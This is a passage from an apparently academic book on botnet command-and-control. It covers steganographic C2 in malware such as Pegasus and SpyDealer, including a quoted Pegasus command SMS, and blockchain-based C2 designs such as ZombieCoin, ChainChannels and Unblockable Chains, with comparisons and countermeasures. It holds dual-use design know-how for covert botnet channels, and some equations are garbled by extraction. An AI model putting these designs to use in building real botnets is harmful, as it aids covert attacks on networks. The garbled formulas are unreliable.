The bot continuously checked the Instagram accounts feeds for the next images
with commands. If there was a new one, it was downloaded, decoded and
executed. The bot also could share the results in the same way by uploading
images to Instagram accounts with the embedded data. In that simple proof-of-
concept, the limit of characters that could be reliably transmitted in the JPG
images was established at 40. The capacity could be increased using other coding
techniques. The main challenge taken by researches was avoiding image proces-
sing algorithms of Instagram, which can distort a hidden data inside JPG
steganography images. They conducted a few methods to increasing robustness
of their digital image steganography technique:

■ Resizing all cover images to a size-and-aspect ratio that Instagram would
accept without resizing.
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Figure 5.8 Scheme of Stegobot steganographic C2 channel based on [32].
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■ Avoiding double-compression problem, by extracting the quantization table
from an existing Instagram image. It was discovered that Instagram utilized
the same quantization table across all Instagram images.

5.3.3 Mobile Botnets
Another category of emerging cyber threats is abusing mobile platforms, smart-
phones and other ubiquitous devices. According to [34], in most cases mobile
malicious software shares the same attack surfaces as that targeting computers.
Although there are several aspects of mobile platforms, which impact security of
cyberspace in new directions:

■ Mobile network communication: mobile platforms utilizes another protocol
stack of GSM/UMTS/LTE/5G for communication. Furthermore, these
networks are outside control of the mobile network providers. TCP/IP
protocol stack for Internet connectivity is just one of the options to transfer
data over these networks.

■ Device-specific modules: Mobile platforms consist of many modules
that are not present in traditional computers such as GPS, sensors
and NFC.

■ Networking in such devices is always on, whereas in traditional computer
networks, users switch them off, for example, during night period. It means
that mobile devices are constantly accessible through physical networking
interfaces or by applications.

■ Networks of mobile devices are dynamic. For example, IP addresses
keep changing and cyber attackers could use this fact as a layer of
hiding their operations. It means a harder task to monitor, detect and
block them.

The first case of mobile malicious software with steganographic C2 channels is
Pegasus [35]. Pegasus was professionally developed with highly advanced cap-
abilities such as exploiting mobile systems (Android, iOS), zero-day vulnerabil-
ities and anti-forensic mechanisms such as code obfuscation and encryption. It
could evade systems and application security of voice/audio calls and apps,
which included mobile apps such as Gmail, Facebook, WhatsApp, FaceTime,
Viber, WeChat, Telegram, and Apple’s built-in messaging and email apps. It
could steal contact lists, GPS locations and router passwords stored on the
device. The iOS version of this malicious software is known as “Trident.”
Pegasus consisted of methods to establish stealth C2 channels. It utilized SMS
service to pass commands through them. An example of such a message is as
follows:
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Your Google verification code
is: 5678429\nhttp://gmail.com/?z=FEcCAA==&i=MTphYWxhY

W4udHY6NDQzLDE6bWFub3Jhb25saW51
Lm51dDo0NDM=&s=zpvzPSYS674=

This message actually contained a command to update a list of available C2
servers. Pegasus was capable of receiving five types of commands via SMS channel.
Command ID was determined based on the last number in the verification code. The
command in message presented above has an ID of 9. Further analysis of the
captured binary of Pegasus showed that C2 communication in general abuses several
legitimate SMS messages of two-factor authentication processes for Google, Face-
book or Evernote. This functionality allowed Pegasus to be updated if Internet was
not available, for example, in the case of breaking C2 infrastructure. Adversaries
could provide a new list of C2 servers via SMS channel.

Another mobile malware was reported by Unit42 of Palo Alto Networks called
“SpyDealer” [36]. SpyDealer was capable of communicating C2 servers via a few
channels: SMS, UDP and TCP. The most interesting application in SpyDealer is C2
channel based on SMS. SpyDealer used an interception technique of registering SMS
receiver with a higher priority than default messaging application in Android OS.
The commands could be received through this channel to decode, parse and process.
Every SMS with a command consists of an index of command and arguments for
command split by a newline. SpyDealer could also update its C2 server address
following one of the procedures: interpreting a command index with length larger
than 4 as IP address or parsing IP address from SMS message body, which starts with
L112 string. SpyDealer needed to acknowledge some of the commands. It was
realized by a reply message in format of msg:repcall|<phone number>. All intercepted
SMS messages with commands were aborted. It means that user would never see any
of these messages in the messaging application. From the user’s perspective, C2
communication is hidden against him. Other SMS messages could be also blocked if
SpyDealer was set to do so or the incoming number was included in the blocking list.

In case of establishing out-of-band channels on mobile platforms, there are
primarily proof-of-concepts. Such comprehensive research on that topic is presented
in [37]. Authors reviewed different vectors of abusing physical interfaces to
establish out-of-band channels for steganographic C2 communication. They
investigated the applicability of sensing-enabled covert channels in mobile
phones. The main advantage from perspective of cyber attackers is that malware
using such channels would be very difficult or impossible to detect. Researchers
prepared proof-of-concept malware to verify the range of problem. They achieved
a system with capability of sending C2 messages without using any wireless or
cellular networks, only using popular hardware and Android-based mobile
phones. They also presented the results for several steganographic carriers such
as music, video, household lighting and magnetic fields.
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5.4 Summary
This chapter introduced the concepts of applying steganography for C2 channels.
In the theoretical part of the chapter, the problem has been analyzed from
different perspectives:

■ Reviewing steganography techniques: network, digital, hybrid methods
toward steganographic routing

■ Referring cyber threat modelling perspective to steganography by applying
standard methodologies: Cyber Kill Chain and MITRE Att&ck

■ Defining theoretical communication models and messaging patterns of
steganographic C2 channels

■ Considering countermeasures for steganographic C2 channels

Next, Section 5.3 presented the state of knowledge of the real malicious software and
botnets, where C2 channels were based on the different steganographic methods.
Botnets for computer and mobile systems were considered. The focus has been on
years 2010–2018 when a few malicious campaigns and APTs with modern stegano-
graphic capabilities were discovered. Table 5.2 categorizes the reviewed stegano-
graphic C2 channel methods to theoretical concepts introduced in this chapter.

It can be concluded that malware designers use many different techniques,
which in turn introduce hard efforts in modern forensic procedures. This chapter

Table 5.2 Reviewed steganographic C2 channels referred to models of such
communications

Method Botnet Type of
steganography

Model Messaging pattern

Win32.Morto Computer Network Client-server Publish-subscribe
Fokitor Computer Network Peer-to-peer Push-pull
PlugX Computer Network Peer-to-peer Request-reply
Multigrain Computer Network Peer-to-peer Peer-to-peer
Duqu Computer Digital Client-server Publish-subscribe
ZeusVM Computer Digital Client-server Publish-subscribe
Lurk Computer Digital Client-server Request-reply
Hammertoss Computer Hybrid Client-server Publish-subscribe
VPNFilter Computer Hybrid Client-server Observer
Stegobot Computer Hybrid Client-server Push-pull
Instegogram Computer Hybrid Client-server Publish-Subscribe
Pegasus Mobile Hybrid Peer-to-peer Push-pull
SpyDealer Mobile Hybrid Peer-to-peer Push-pull
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not only summarizes state-of-the-art practical examples of steganographic C2
channels but also establishes standard models of such channels. This analysis
could be very useful for present and future analysts working in the C2 ecosystem.
It should help focusing on developing new algorithms to detect C2 channels and
to break the kill chain of cyberattacks as soon as possible.
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6.1 Introduction
Botnets pose a great threat to Internet [1–3]. A botnet consists of numerous
compromised computers and Internet of Things (IoT) devices under the remote
control of a botmaster. The core component of a botnet is its Command-and-
Control (C&C) infrastructure. Such C&C infrastructure can be established
through several ways, from conventional centralized ones to sophisticated decen-
tralized ones [4,5]. In general, all typical application-layer protocols like Internet
Relay Chat (IRC), hypertext transfer protocol (HTTP) [6], peer-to-peer (P2P), and
simple mail transfer protocol (SMTP) [7] could be leveraged to relay C&C
messages between bots and botmasters. Attackers also came up with some new
approaches to enhance the robustness of C&C infrastructures with domain name
system (DNS), session description protocol (SDP) [8], Cloud platforms such as
Google Cloud [9], and large social media sites such as Facebook and Twitter [10].
These new approaches proved to be more resistant against detection and defense.

The last few years have witnessed the incredible success of Bitcoin [11], a digital
cryptocurrency well known as the first large-scale implementation of blockchain.
The blockchain shows many promising features such as anonymity, irreversibility,
and immutability. These promising features attracts not only application developers
but also cyberattackers, since blockchain enables attackers to establish far more
resilient and accessible botnets based on the current public blockchain systems.
In Bsides Conference held in Tel Aviv, Zohar [12] demonstrated a segment of
conceptual codes named Unblockable Chains, which misuses Ethereum network to
establish C&C infrastructures for botnets. This proof-of-concept proves the possi-
bility and the destructiveness of blockchain-based botnets.

The C&C mechanisms of blockchain-based botnets differ from traditional
botnets. If one figures out the topology or communication protocols of tradi-
tional botnets, it is feasible for Internet service providers (ISPs) to take them
down or even take over them. However, due to high anonymity, secure commu-
nication, high availability, and authentication of blockchain-based botnets, their
C&C communication and networking architectures are almost undetectable.
Taking down this new type of botnets would be extremely challenging. There-
fore, it is valuable to research the abuse of blockchain as botnet C&C infra-
structure to prevent potential security risk in the near future.

In this chapter, we focus on four blockchain-based C&C mechanisms: Zom-
bieCoin [13], Floating C&C Server [14], ChainChannels [15], and Unblockable
Chains [12]. We will present their system architectures and evaluate the
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extraordinary features of these C&C mechanisms. This chapter is organized as
follows. Section 6.2 introduces basic concepts, structures, principles and imple-
mentations of blockchain techniques, where we use the most famous blockchain
application, Bitcoin, as an illustrative example. Section 6.3 presents four concrete
blockchain-based botnet C&C mechanisms. Section 6.4 evaluates these mechan-
isms from different perspectives. Section 6.5 concludes and summarizes the
design principles of blockchain-based botnets.

6.2 Background of Blockchain
Before we introduce the technical background of blockchain, we illustrate key
concepts of blockchain.

■ Bitcoin (BTC)
A kind of cryptocurrency, or a common unit of this cryptocurrency.

■ Ethereum (ETH)
A kind of cryptocurrency, or a common unit of this cryptocurrency.

■ Block
A record in the blockchain that contains and confirms many waiting
transactions.

■ Hash
A unique identifier of a blockchain transaction, or a mathematical function,
which blockchain nodes perform on blocks to make the network secure.

■ Node
A device that is connected to the peer-to-peer network of blockchain.

■ Full node
A device that keeps a complete copy of the blockchain and fully validates
transactions and blocks (i.e., a miner).

■ Mining
A process of doing mathematical calculations for the Bitcoin network to
confirm transactions.

■ Miner
A device that adds new transactions to blocks and verify blocks created by
other full nodes.

■ Address
A hash of the public key of a full node user.

Blockchain is a decentralized and distributed ledger technique. It contains
a chain of inter-connected blocks that record a ledger of transactions. This ledger
is kept by every full node in the peer-to-peer network of blockchain. Blockchain
technique is a technical integration of database, distributed system, cryptology,
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and computation techniques. These mature techniques work together to ensure
the security and immutability of blockchain transactions.

A typical block generating process in a blockchain system is as follows. First,
a transaction is created by a Bitcoin holder. Then, this transaction will be hashed,
signed, and submitted to the network. Second, the transaction is verified and
approved by other nodes in blockchain peer-to-peer network. Third, a set of
transactions is packed into a new block. This block will be broadcasted to the
peer-to-peer network, validated, and recorded by every node with the help of the
consensus algorithm. Then, a new block is attached to the end of the chain.
Eventually, the blocks constitute a chain structure named blockchain.

6.2.1 Block Structure
Blockchain is a chain-structured database system. Therefore, a block is the
fundamental element of a blockchain. In Figure 6.1, we present the typical
structure of blocks in Bitcoin. Every block contains basic elements such as
Blockheader, Blocksize, Magic Number, Transaction Counter, and Transactions.

■ Blockheader
Blockheader is the essential element of every block, containing 80 bytes. It
contains the following items:
– Version number: The Bitcoin version that the current block uses.
– Previous block hash: In a blockchain, every block is the inheritance

from the former block. The blockchain uses the former block’s hash to
create the new block’s hash. This process makes a blockchain form
a chain structure.

Prev_Hash Timestamp

Tx_root Nonce

TX0 TX1 TX2 TX3

Hash0 Hash1 Hash2 Hash3

Hash01 Hash23

Prev_Hash Timestamp

    Tx_root Nonce

Prev_Hash Timestamp

Tx_root Nonce

Figure 6.1 Block Structure of Bitcoin.
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– Merkle root: The root hash value of a Merkle tree. The Merkle root is
the hash of all the transaction hashes in a block.

– Timestamp: Each block records its approximate generated time in the
form of UNIX timestamp serving as a meta data that is used to uniquely
identify a block hash.

– An answer to a difficult-to-solve mathematical puzzle: A crucial value
used for mining. This value is unique to every block. New blocks cannot
be attached to the end of the chain unless a miner has solved the
mathematical puzzle and got the correct answer.

– Nonce: A random number used in the process of mining.
■ Transactions

The transactions field keeps a list of transactions of a block. The length of
this field is non-empty and flexible, which is determined by transaction
number.
Transaction is a key concept of Bitcoin blockchain. A Bitcoin full node

has a pair of public key and private key, based on the asymmetric encryption
system. Bitcoin is linked to every user through his/her address to ensure
anonymity, while the private key of a user is used to transfer Bitcoin owned
by the corresponding address.
In order to transfer the ownership of Bitcoins, the owner needs to

digitally sign the information including a hash of one or some previous
transactions and the public key of the receiver with his/her private key, then
add this hashed signature to the end of transactions. Ownership of payment
is proven by the private key that matches the signature of funding transac-
tions. Transactions in a block are validated and broadcasted to the whole
network after the mathematical puzzle is solved. Then, the receiver can
spend received Bitcoins by signing a new transaction with his/her private
key. Actually, the transmitted Bitcoin is not a concrete currency. It is a set
of Unspent Transaction Output (UTXO). The owner of these UTXOs can
apply them as the input of his/her proposed transaction. A transaction of
Bitcoin contains the following key components.
– Version number: The Bitcoin version that the current blocks use.
– Flag: Indicating presence of witness data.
– In-counter: Number of UTXO inputs.
– Out-counter: Number of UTXO outputs.
– List of inputs: The first input of the first transaction is defined as

“Coinbase.” Every transaction input (Txin) contains previous transaction
hash, previous Txout-index, Txin-script length, Txin-script, and
sequence number.

– List of outputs: A general format transaction output (Txout) consists of
Txout-script length, Txout-script, and value.
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– Witness: Signature used for verifying the legitimacy of transactions in
new block.

– Lock time: Block height or a UNIX timestamp.
– Blocksize

The number of bytes of a block.
– Magic number

The separator of a block.
– Transaction counter

The number of transactions, including the Coinbase transaction.

The design of Bitcoin block structure is an ingenious creation. Various
signatures, timestamps, and hashes based on encryption algorithms make it
difficult and costly to tamper transaction information of Bitcoin. The reward of
mining guarantees active participation of every full node to solve mathematical
puzzles, verify new transactions, and keep the public ledger together. The whole
blockchain is kept, replicated, and updated in every full node in Bitcoin
decentralized network. The Proof-of-Work (PoW) consensus algorithm ensures
the consistency of all nodes and prevents the double-spent problem [11].

The ingenious creation of Bitcoin block structure makes itself an immutable
and decentralized digital cryptocurrency, thus attracting developers to use Bitcoin
as a tool for transforming current financial system. However, the attractive
features of Bitcoin also draw attention of cyberattackers. The Bitcoin script
system allows users to insert up to 80 bytes of arbitrary data in Bitcoin
transactions, making storing illegal information in the blockchain feasible. There-
fore, Bitcoin can be a strong tool with high anonymity to store and transmit
illegal information, and serve as the C&C infrastructure of blockchain-based
botnets to launch attacks. Moreover, the next-generation blockchain platforms
such as Ethereum [16], Smart Contracts [17], and Decentralized Applications
(DApps) make blockchain-based botnet C&C infrastructure more resilient and
flexible. Smart Contracts are some running programs on top of public blockchain.
They enable developers to realize many practical functions based on value
transmission. Similar to Bitcoin block, Ethereum block structure also contains
header, uncles, and transactions. However, the block header of Ethereum has some
additional fields in comparison to the Bitcoin, as presented in Figure 6.2. The
segment of Extra data could also be used as transmission channels of illegal
information.

6.2.2 Implementation of Blockchain

Bitcoin is a decentralized ledger system that was proposed in 2008 by Satoshi
Nakamoto [11]. It has a tremendous design to be tamper-proof, autonomous
and anonymous, thus making people transfer value or money without trustful
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intermediates possible. As a new fintech, it can be applied in various areas
including supply chain [18], digital certificate [19], bank system, and so on.
Besides the Bitcoin, many cryptocurrencies and blockchain platforms have been
developed for various purposes. Ethereum [16], an advanced blockchain system,
enables users to create Smart Contracts [17] and realize many influential systems.

Since the emergence of Bitcoin, researchers have tried to apply this new
technique to rebuild network infrastructures, including DNS [20], Cloud service,
and botnet C&C channels. For instance, Namecoin [20] is the first hard fork of
Bitcoin chain. It implements a decentralized DNS to prevent single point failure
effectively. In this chapter, we skip technical details for Bitcoin and other
blockchain applications. An interested reader could refer to [21] or [22] for
details. For application development based on blockchain, numerous technique
documentations on how to interact with public blockchain through APIs are
available in [23,24].

6.3 Blockchain-Based Botnet C&C Mechanisms

6.3.1 Overview

The C&C mechanism is the key to building a robust and resilient botnet.
Traditional C&C mechanisms contain IRC, HTTP [6], P2P, and other sophis-
ticated protocols such as large-scale social media sites or Cloud platforms. The

Figure 6.2 Block header structure of Ethereum.
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network structure of botnets has evolved from centralized structures to peer-to-peer
or mixed structures. In order to resist takedowns or takeovers from adversaries,
more advanced and resilient C&C protocols [15] are incorporated into botnets.

The emergence of blockchain technique enables new C&C mechanisms of botnets.
Taking advantage of the aforementioned features of Bitcoin, Ali et al. [13] propose
a C&C mechanism that uses script opcode to store illegal data within Bitcoin
transactions. In addition, Curran and Geist [14] come up with another solution to
raise botnet C&C resilience with floating C&C servers. Moreover, Frkat, Annessi, and
Zseby [15] propose a solution to conceal subliminal information in digital signatures.
What is more, Zohar [12] completes a proof-of-concept to implement a state-of-the-art
botnet C&C mechanism, Unblockable Chains. This C&C mechanism creates a smart
contract based on Ethereum system to realize botnet C&C communication. These four
botnet C&C mechanisms present much more C&C resilience than previous ones.
They hide C&C information in public blockchain, which makes detection very
difficult. We next detail these mechanisms.

6.3.2 ZombieCoin

ZombieCoin [13] is an early work intending to establish botnet C&C infra-
structures based on blockchain. It inserts C&C instructions in transactions on
public blockchain, such as Bitcoin. It proves the possibility of using blockchain as
C&C infrastructures of botnets.

As we mentioned before, the script system of Bitcoin makes inserting messages
in Bitcoin transactions possible. Bitcoin uses a scripting system for transactions.
Script is simple, stack-based, and processed from left to right. It is not Turing-
complete, and with no loop structure. The script system is a list of instructions
recorded in every transaction. Scripts describe how the receiver of Bitcoins can
gain access to the transferred Bitcoins. Scripts use some opcodes to realize their
functions. Opcodes refer to a list of all Script words, also known as commands or
functions. OP_RETURN is one of them. The OP_RETURN opcode is included
in Bitcoin script system since Bitcoin version 0.9 [25]. It is an opcode used for
marking a transaction output as valid. The OP_RETURN function allows users
to insert up to 80 bytes of arbitrary data in Bitcoin transactions. This feature of
OP_RETURN has been used for many projects beyond its original function of
recording transactions, including ZombieCoin.

The operating process of ZombieCoin is descripted briefly as follows.

1. A Botmaster owns a Bitcoin certificate such as a pair of public and private
keys (pk, sk). The binary file of bots is hardcoded with the public key of the
botmaster pk in order to track and extract instructions from the blockchain.
The bots are also coded with instructions for decoding commands.
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2. Bots run some script programs. These running scripts can connect to
Bitcoin network, serve as nodes, and receive transactions.

3. A botmaster issues some C&C instructions through inserting them into
Bitcoin transactions.

4. Bots can identify these special transactions through scanning scriptSig. The
scriptSig appears in the transaction input scripts. The format of them is like
scriptSig =< sig >< pubKey >. It contains the public key of the botmaster,
which has been coded in bot’s binary file before. In order to present the
transaction process and the function of public keys, the transaction exam-
ples of Bitcoin are presented in Figure 6.3.

5. Bots decode the instructions and execute them.

ZombieCoin uses OP_RETURN output script function as the method for
inserting C&C instructions into transactions. The researchers complete proof-of-
concept with a simulation of a 14 nodes botnet. The core metric of a botnet is its
C&C channel latency and the time it takes for bots to respond to an instruction. The
simulation results show that median response time of ZombieCoin is 5.54 seconds.
Due to the high price of Bitcoin, the cost is also another factor to consider. The cost
estimate in the frequency of one command every 20 minutes is 2.2 USD per day,
which is acceptable for implementing attacks. The time and money cost are very
competitive and prove the feasibility of blockchain-based botnet.

However, ZombieCoin has some obvious weaknesses. Even though the com-
mand information has been encoded, they are visible to every individual in public
blockchain. Once one of the bots is discovered and transformed to a decoder, all
previous command information can be traced and deciphered.

Owner 2's
Public Key

Hash

Owner 1's
Signature

Transaction

Owner 3's
Public Key

Hash

Owner 2's
Signature

Transaction

Owner 1's
Public Key

Hash

Owner 0 s
Signature

Transaction

Owner 0 s
Signature

Owner 0 s
Signature

Owner 0 s
Signature

Figure 6.3 Examples of Bitcoin Transactions.

Blockchain-Based Botnets ■ 225



6.3.3 Floating C&C Server

In order to avoid disadvantages of direct commands insertion such as Zombie-
Coin, Curran and Geist [14] proposed a new model of botnets based on Bitcoin
blockchain. They use public blockchain as the communication channels
between C&C servers and bots. The data in transactions contain IP addresses
of new active C&C server to implement flexible connection between bots and
C&C servers. In this way, the network architecture of botnets cannot be easily
detected, and a more resilient and resistant botnet is established.

■ Architecture The authors take traditional centralized botnet network as an
example to illustrate the design and principle of this C&C mechanism. The
bots are controlled by the active C&C server while some latent passive C&C
servers are preparing for taking over the botnet after the possible takedown of
active server.

Besides the C&C servers, researchers propose a new layer named Orches-
trator. This layer is built on top of centralized botnet. It is used for testing
whether current active C&C server is healthy. Once the Orchestrator finds
that current active C&C server has been taken down or blocked, it initiates
a transaction in Bitcoin containing new IP address of a potential passive
C&C server. Then, bots can receive this information from public Bitcoin
chain and reconnect to this updated C&C server. The potential passive
C&C will be transformed to the active one and take over the whole botnet.
Figure 6.4 presents the whole system framework of the proposed blockchain-
based botnet.

C&C Server
(Passive)

C&C Server
(Active)

C&C Server
(Passive)

Bot Bot Bot

Orchestrator

Bitcoin Chain

Read Transaction

Command and Get command Propose transactions
containing IP addresses

of new C&C Servers 

Observe and detect C&C health

Figure 6.4 System architecture.
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Moreover, with more advanced blockchain platforms, the floating C&C server
mechanism can be optimized. Since Ethereum introduces the concept of smart
contracts, DApps become a hot topic. Compared to Bitcoin script system, the
development language of Ethereum smart contracts, Solidity is Turing-complete.
With the help of smart contracts, advanced computing and data processing can be
achieved. Therefore, the Orchestrator layer can be replaced by DApps on Ether-
eum public chain. The promoted Orchestrator layer can be more resistant and
anonymous than that in Bitcoin. Besides, the cost of transactions in Bitcoin is
much higher than that of Ethereum. Average confirmation time of Ethereum is
50 times less than Bitcoin. Through Table 6.1, it is clear that implementing this
C&C mechanism on Ethereum public chain is low-latency and low-cost.

■ Implementation
The implementation of this botnet C&C mechanism is divided into two
parts, the bots and the blockchain.

The key element of a botnet is the communication protocol. The most popular
protocols are HTTP and IRC. However, IRC traffic is limited to specific
environments. The countermeasures based on the analysis of IRC traffic are very
mature. Hence, HTTP may be a better choice. It is more general and widely
used. However, HTTP still has drawbacks such as lack of encryption, so it may
expose the inner operation and architecture of botnets. In order to prevent this
problem, HTTP protocol is commonly used in combination with Secure Sockets
Layer (SSL), named HTTPS.

The botnet consists of two components: the bots and the C&C servers. There
are lots of open-source projects implementing the HTTP-based botnet. The Ares
[26] is a Python remote access tool that can be used.

The key problem of blockchain implementation is how to realize the transmission
of IP addresses of passive C&C servers. With Bitcoin opcode function OP_RE-
TURN, we can insert the IP information in transactions. In order to conceal the
purpose of these data, the IP addresses need to be encoded before insertion. Then,
the bots will get the data from Bitcoin public chain and decode it.

Table 6.1 Comparison between Bitcoin and Ethereum

Bitcoin Ethereum

Transaction Cost 0.5 USD 0.08 USD
Throughput 3.3–7 transactions per second (TPS) 15 TPS
Block Interval 10 min 12 s
Turing Complete No Yes
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6.3.4 ChainChannels

ChainChannels [15], proposed by Frkat, Annessi, and Zseby, is an innovative
application of blockchain technique for building C&C infrastructures of botnets.
ChainChannels uses the basis of blockchain technique and digital signatures to
distribute C&C commands to bots and realize the subliminal C&C communica-
tion. This mechanism uses the entire nonce in digital signatures to hide and
transmit illegal information. With these subliminal channels in blockchain
signatures, the C&C communication of botnet can be more resilient.

Signature algorithms are widely used in almost every public blockchain system. In
Bitcoin transactions, a cryptocurrency holder needs to use private key to digitally
sign transactions data and public key of Bitcoin receiver. Then, this digital signature
will be attached to the end of transactions and then be broadcasted to the whole
distributed network. The realization of digital signatures is based on asymmetric
encryption system. In an asymmetric encryption system such as Bitcoin, every user
has a pair of private key and public key. Users use their pair of keys to sign their
proposed transactions and declare their ownership of Bitcoins. Bitcoin uses the
Elliptic Curve Digital Signature Algorithm (ECDSA) and the specific curve used in
Bitcoin ECDSA is secp256k1 [27], a Koblitz curve. The general computing and
verification process of digital signatures in Bitcoin is presented as follows.

Algorithm 1 Digital Signature Algorithm

Hash: x = hash(data)
Sign: s = sign(private key, x)
Send: signature s and transaction data
Receive: signature s and transaction data
Verify: decode(public key, s) = x = hash(data)

ChainChannels utilize the second step of digital signature algorithm, the signing
step to store C&C commands. Digital signature is made up of a signature pair (r, s).
For the specific curve secp256k1 used in Bitcoin blockchain, parameters like order
of curve n and generator point G are already known to the public. Then, with the
coordinates of generator point G and nonce k, the first part of signature pair r is
computed with the equation x1 = k G. As for the second part of the signature s, it is
calculated with parameters of the private key pk, the hashed data x, the coordinate
parameter r, the reciprocal of the nonce k, and the order of the curve n. The
computing equation of s is as follows.

s ¼ k � 1 � ðx þ rÞ mod n ð6:1Þ

Normally, the nonce k is supposed to be random. However, in the design of
ChainChannels, the nonce k in signature is replaced by the C&C information
and then the signature is generated with Equation 6.2. Thus, the parameter
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k contains useful command information instead of randomly-generated nonce.
The signing process changes to this:

kmsg ¼ s � 1 � ðx þ rÞ mod n ð6:2Þ

Before the botmaster introduces transactions, the bots are already pre-configured
with the private key pk of the transaction creator. With the message of private
key, the receiver can easily extract the subliminal information from the transac-
tions. This extracting process is shown as follows.

kmsg ¼ s � 1 � ðx þ rÞ mod n ð6:3Þ

The bots will keep monitoring the Bitcoin transactions and find all of transac-
tions with the public key of the botmaster. Then, the bots extract the subliminal
messages from these transactions with the pre-configured private key and obtain
the C&C information from the botmaster. Eventually, they execute these
commands, launch largescale attacks and produce disruptive impacts to our
Internet. This is how ChainChannels operate.

ChainChannels proves that some infrastructures of blockchain such as digital
signatures can also be used as C&C channels of botnets. ChainChannels, as
a botnet C&C infrastructure, has high anonymity and resilience. The commu-
nication data between bots and the botmaster is hidden and encrypted. In addition,
since the bots are only nodes of Bitcoin blockchain rather than the receivers of
Bitcoin transactions, the defender cannot detect the bots by monitoring the
transactions. Therefore, the number of bots can be very resilient and flexible.

6.3.5 Unblockable Chains
Unblockable Chains [12] is an open-source project that presents the state-of-the-
art blockchain-based botnet C&C mechanism. It is built up on an advanced
blockchain platform, Ethereum. It is a proof-of-concept to verify the possibility of
applying smart contracts to build up botnet C&C infrastructures.

Unblockable Chains take advantage of the strength of Ethereum smart contract
and also inherit the features of blockchain technique. The whole operating
process of Unblockable Chains is shown in Figure 6.5. Normally, the Unblock-
able Chains operate as follows.

1. The controller of the botnet, the botmaster needs to start an Ethereum full
node. This node connects to the Ethereum network and downloads the
whole blockchain locally. The downloading process may take more than 24
hours.
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2. Once the downloading is done, the botmaster starts to generate the wallet of
Ethereum, puts some Ether in it, and deploys the smart contract. The smart
contract is a segment of code that runs on top of Ethereum blockchain. It
allows the nodes to connect between one another, and it is where the
communication between bots and C&C occur.

3. The botmaster starts a control panel. The control panel is in charge of
allowing or revoking implants, issuing commands and receiving results.
Now the infrastructure is ready.

4. The botmaster needs to generate some implants. He or she creates some
wallets, authorizes the wallets in smart contract, transfers some Ethers, and
packs these programs as implants.

5. Through some implanting techniques, the implant is inserted into a remote
machine. Once host machine got implanted, the implant starts to read
configuration and runs as Ethereum light node that downloads only headers
of transactions. The time and space costs of deploying a light node are
much less than those of a full node, which makes the detection more
difficult.

6. Once the downloading is done, the host machine opens a wallet and starts
communicating with smart contract. It initiates a registration and receives
commands through smart contract. Eventually, the host machine will
execute commands and send back results.

However, some problems still exist in Unblockable Chains. The smart contract
is theoretically scalable and can support any number of nodes. However, in fact,
it is partly scalable. The transaction time of Ethereum network is getting higher.
Every implanting action must be individually generated with a wallet per
instance. The space and computing source costs of keeping all records of
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Figure 6.5 Operating process of unblockable chains.
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Ethereum blocks, acting as a full node, are too high. Even being a light node is
still costly. Besides, the cost of Unblockable Chains is too high. Writing 1 MB
data costs about 13 ETHs, about 1,800 USDs. Even if we apply a cheaper way to
avoid unnecessary waste from unbounded strings of data, the cost of 1MB is still
1.47 ETH, about 200 USDs. It is high cost to build up such a botnet and launch
some attacks.

6.4 Evaluation and Comparison
A botnet C&C mechanism can be evaluated from the following perspectives:

■ Secure Communication
It can realize secure communication based on its communication network
and protocols. The communication data is completely encrypted.

■ Availability
It has high availability. The nodes can always find the C&C server.

■ Scalability
The botnet can support any number of bots and any load of C&C
communication.

■ Authentication
The botnet C&C supports authentication. Only valid bots can connect and
connect only once. It resists replay attack and requests forgery.

■ Anonymity
It is impossible to know the source of commands information. It is also
hard to figure out who controls this botnet.

■ No Data Leakage
There is no data leakage in the C&C process. No data could be gathered on
other implants or network structure.

■ Takedown Resistance
It is resistant to single point failure. Once one bot is taken down or goes
offline, other bots can still operate normally.

■ Takeover Resistance
Only the botmaster can control the whole botnet. The reverse engineering
of single bot cannot lead to the takeover of whole network.

Then, we compare the above-mentioned C&C mechanisms with traditional
IRC protocol and evaluate their features and performance from the above
perspectives. The comparison results are presented in Table 6.2.

Based on the data presented in Table 6.2, these blockchain-based botnets have
shown extraordinary features. The resilience and covertness of its C&C mechan-
isms are much higher than former ones such as IRC or P2P.
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However, due to the limitations of blockchain system, the scalability and cost
are still the weaknesses of these emerging botnets. The blockchain-based botnet
has a much higher cost than traditional botnets. The high cost of blockchain-
based botnets may even exceed its profits when implementing attacks. Hence it
still cannot be used as an ultimate infrastructure. However, as the price of BTC
and ETH has decreased to a considerable level in 2019 [28,29], it is more low-
cost to build up blockchain-based botnets. Therefore, we need to focus more on
these new type of botnet threats. In the process of evaluating these new botnets,
we are surprised to find that some emerging techniques are effective in changing
traditional computer and networking issues, including artificial intelligence
[30,31], blockchain, and other hot techniques. Therefore, we much believe that
further researches on botnets are still valuable and meaningful.

6.5 Countermeasures
Due to the highly resilient and anonymous C&C mechanisms of blockchain-
based botnets, it seems that there are no countermeasures toward them. Actually,
mitigating them is difficult but still possible.

■ Floating C&C server mechanism depends on some external services like API
functions to transmit the transaction information. Therefore, it is feasible to
break down the APIs and then destroy the whole botnets. In addition, with

Table 6.2 Comparison between different botnet C&C mechanisms

ZombieCoin Floating
C&C

ChainChannels Unblockable
Chains

IRC

Secure
communication

Yes Yes Yes Yes No

High availability Yes Yes Yes Yes Yes
Scalability Yes Yes Yes No Yes
Authentication Yes No Yes Yes No
Anonymity Yes Yes Yes Yes No
Zero data leakage Yes Yes Yes Yes No
Takedown
resistance

Yes No Yes Yes No

Takeover
resistance

Yes No Yes Yes No

Low operational
cost

No No No No Yes
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the reverse engineering, we can capture the Bitcoin address of the botmaster
and propose disturbing transactions to stop the normal operation of the
botnet.

■ As for ChainChannels, some small nonce values may repeat because the
botmaster cannot avoid sending the same deterministic commands. It poses
a great threat of being detected. Another countermeasure is to authorize
a warden, as proposed by Simmons [32]. The warden is able to check the
digital signatures and participate in the signing process. However, it is
contrary to the original purpose of blockchain, i.e., mitigating the influence
of a strong third party.

■ In Unblockable Chains, every implant has to be sent with some ETHs. It is
of high risk because it provides some possibilities for the authorities to
detect the botnet through analysis toward transactions.

6.6 Conclusion
C&C constitutes the core component of a botnet. For the past decade, attackers
have been trying to build up a highly resistant and resilient botnet C&C
infrastructures. They have applied a large number of architectures and protocols
but most of them are vulnerable to takedown once their topologies are disclosed. It
is clear that the emerging techniques, such as blockchain, give birth to advanced
botnets. This kind of botnets present some remarkable features. We cannot ignore
that these threats might bring huge threats to the Internet and its infrastructures.

This chapter presents designs of blockchain-based botnet C&C mechanisms.
These designs take advantage of characteristics of blockchain. They use key
components of a blockchain system such as transactions, signature algorithms,
and the script system to transmit the C&C information. It can be envisioned that
in the near future researchers or attackers would propose more resilient C&C
mechanisms based on the blockchain. Therefore, it is of crucial importance to pay
attention to this potential threat and figure out practical countermeasures in
advance.
